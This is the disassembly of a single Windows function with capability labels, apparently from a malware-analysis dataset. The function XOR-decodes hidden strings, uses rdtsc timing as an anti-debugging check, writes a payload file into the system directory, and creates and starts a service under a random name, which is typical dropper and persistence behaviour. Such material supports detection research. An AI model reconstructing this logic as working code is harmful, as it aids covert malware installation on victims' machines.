Function at 0x100018c0
Capabilities:
Encode data using xor
Execute anti-debugging instructions
Get common file path
Query service status
Start service
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c4
mov eax, dword [0x1001d004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
mov dword [ebp - 0x6e8], edx
mov dword [ebp - 0x9bc], ecx
mov dword [ebp - 0x9c0], eax
push esi
push edi
test ecx, ecx
je 0x10001e73
test edx, edx
je 0x10001e73
mov dword [ebp - 0x9b8], eax
call fcn.10004d50
test eax, eax
je 0x10001924
mov eax, dword [0x1007b54c]
test eax, eax
je 0x10001924
cmp dword [0x1007b550], 0
je 0x10001924
lea ecx, [ebp - 0x9b8]
push ecx
call eax
push 0x208
lea eax, [ebp - 0x4d8]
push 0
push eax
call fcn.10005d10
add esp, 0xc
lea eax, [ebp - 0x2d0]
push 0x208
push 0
push eax
call fcn.10005d10
add esp, 0xc
lea eax, [ebp - 0x6e0]
push 0x208
push 0
push eax
call fcn.10005d10
add esp, 0xc
lea eax, [ebp - 0x4d8]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
rdtsc
mov ecx, 0x27
mov dword [ebp - 0x14], 0
mov esi, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789________
mov dword [ebp - 0xc], 0
lea edi, [ebp - 0xc8]
mov dword [ebp - 0x18], 0
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov byte [ebp - 0x10], 0
xor ecx, 5
mov byte [ebp - 8], 0
add ecx, 0x23
mov word [ebp - 0xc], 0x1919
imul ecx, eax
mov ebx, 3
mov eax, 0x24924925
mov byte [ebp - 0x13], 0x1a
xorps xmm0, xmm0
movups xmmword [ebp - 0x28], xmm0
imul ecx, ecx, 0x17
mul ecx
sub ecx, edx
shr ecx, 1
lea eax, [edx + ecx]
xor edx, edx
shr eax, 2
div ebx
lea esi, [edx + 5]
lea eax, [esi*2 + 4]
mov dword [ebp - 0x6e4], esi
push eax
lea eax, [ebp - 0x28]
push 0
push eax
call fcn.10005d10
add esp, 0xc
xor ebx, ebx
test esi, esi
je 0x10001a62
rdtsc
imul eax, eax
imul edi, eax, 0x17
mov eax, 0x24924925
mul edi
sub edi, edx
shr edi, 1
add edi, edx
rdtsc
imul eax, eax
shr edi, 2
and edi, 1
imul ecx, eax, 0x17
mov eax, 0x24924925
movsx esi, byte [ebp + edi - 0xc]
inc esi
mul ecx
sub ecx, edx
shr ecx, 1
lea eax, [edx + ecx]
xor edx, edx
shr eax, 2
div esi
movsx eax, byte [ebp + edi - 0x14]
add edx, eax
mov ax, word [ebp + edx*2 - 0xc8]
mov word [ebp + ebx*2 - 0x28], ax
inc ebx
cmp ebx, dword [ebp - 0x6e4]
jb 0x10001a07
push 0xf003f
xor esi, esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
test eax, eax
je 0x10001a95
push 0xf01ff
lea ecx, [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
test eax, eax
je 0x10001a95
push eax
mov esi, 1
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test esi, esi
jne 0x10001d31
mov dword [ebp - 0x738], 0x23
xor ecx, ecx
mov dword [ebp - 0x734], 0xd700df
mov dword [ebp - 0x730], 0xf500fc
mov dword [ebp - 0x72c], 0xed00f3
mov dword [ebp - 0x728], 0xd800e4
mov dword [ebp - 0x724], 0xe300e4
mov dword [ebp - 0x720], 0xd200f9
mov dword [ebp - 0x71c], 0xe900dc
mov dword [ebp - 0x718], 0xe600e2
mov dword [ebp - 0x714], 0xf900f6
mov dword [ebp - 0x710], 0xa400a6
mov dword [ebp - 0x70c], 0xfc00cb
mov dword [ebp - 0x708], 0xf300eb
mov dword [ebp - 0x704], 0xf900ed
mov dword [ebp - 0x700], 0xed00ef
mov dword [ebp - 0x6fc], 0x8500c3
mov dword [ebp - 0x6f8], 0x8c00d2
mov dword [ebp - 0x6f4], 0xdd00d0
mov dword [ebp - 0x6f0], 0xa600d6
nop dword [eax]
lea eax, [ecx + 0x83]
xor word [ebp + ecx*2 - 0x734], ax
inc ecx
mov eax, dword [ebp - 0x738]
cmp ecx, eax
jb 0x10001b60
xor ecx, ecx
mov word [ebp + eax*2 - 0x734], cx
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x734]
push eax
lea eax, [ebp - 0x6e0]
push eax
call fcn.100017a0
add esp, 0xc
mov dword [ebp - 0x714], 0x11
mov dword [ebp - 0x710], 0xf700a6
xor eax, eax
mov dword [ebp - 0x70c], 0xe200d9
mov dword [ebp - 0x708], 0xe100f5
mov dword [ebp - 0x704], 0xef00ff
mov dword [ebp - 0x700], 0xff00f9
mov dword [ebp - 0x6fc], 0xab00d1
mov dword [ebp - 0x6f8], 0xbe00fc
mov dword [ebp - 0x6f4], 0xeb00e2
mov dword [ebp - 0x6f0], 0x9400e0
nop dword [eax]
nop word [eax + eax]
lea ecx, [eax + 0x83]
xor word [ebp + eax*2 - 0x710], cx
inc eax
mov ecx, dword [ebp - 0x714]
cmp eax, ecx
jb 0x10001c10
xor eax, eax
mov word [ebp + ecx*2 - 0x710], ax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x4d8]
push eax
lea eax, [ebp - 0x710]
push eax
lea eax, [ebp - 0x2d0]
push eax
call fcn.100017a0
add esp, 0x10
lea eax, [ebp - 0x9b0]
push eax
lea eax, [ebp - 0x2d0]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
jne 0x10001d2a
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
lea eax, [ebp - 0x2d0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10001d31
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, dword [ebp - 0x6e8]
mov ecx, dword [ebp - 0x9bc]
mov dword [ebp - 0x9b4], 0
push 0
lea eax, [ebp - 0x9b4]
push eax
push ebx
push ecx
push esi
call edi
mov ecx, dword [ebp - 0x9bc]
add ecx, dword [ebp - 0x9b4]
mov dword [ebp - 0x9bc], ecx
sub ebx, dword [ebp - 0x9b4]
jne 0x10001cb7
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 0x18
lea edx, [ebp - 0x28]
lea ecx, [ebp - 0x6e0]
call fcn.10004cc0
add esp, 0x18
xor edx, edx
mov ecx, 0x1f4
call fcn.100017d0
push 0xf003f
push ebx
push ebx
mov dword [ebp - 0x9bc], ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x10001d42
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10001e56
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, 1
mov ecx, edx
call fcn.100017d0
jmp 0x10001978
push 0xf01ff
lea eax, [ebp - 0x28]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
jne 0x10001d64
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
jmp 0x10001e50
lea eax, [ebp - 0x6e8]
push eax
push 0x24
lea eax, [ebp - 0x75c]
push eax
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x10001d99
mov eax, dword [ebp - 0x758]
mov dword [ebp - 0x9bc], 1
jmp 0x10001da1
call esi
mov eax, dword [ebp - 0x6e8]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [ebp - 0x6e4], eax
call ebx
push edi
call ebx
cmp dword [ebp - 0x9bc], 0
je 0x10001e56
cmp dword [ebp - 0x6e4], 1
jne 0x10001e56
push 0xf003f
push 0
push 0
mov dword [ebp - 0x9c0], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
jne 0x10001df0
call esi
jmp 0x10001e56
push 0xf01ff
lea eax, [ebp - 0x28]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x10001e0a
call esi
jmp 0x10001e4f
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x10001e1d
call esi
jmp 0x10001e48
lea eax, [ebp - 0x6e4]
push eax
push 0x24
lea eax, [ebp - 0x710]
push eax
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x10001e3e
call esi
jmp 0x10001e48
mov dword [ebp - 0x9c0], 1
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0x9b8]
test ecx, ecx
je 0x10001e6d
mov edx, dword [0x1007b550]
test edx, edx
je 0x10001e6d
push ecx
call edx
mov eax, dword [ebp - 0x9c0]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004dd9
mov esp, ebp
pop ebp
ret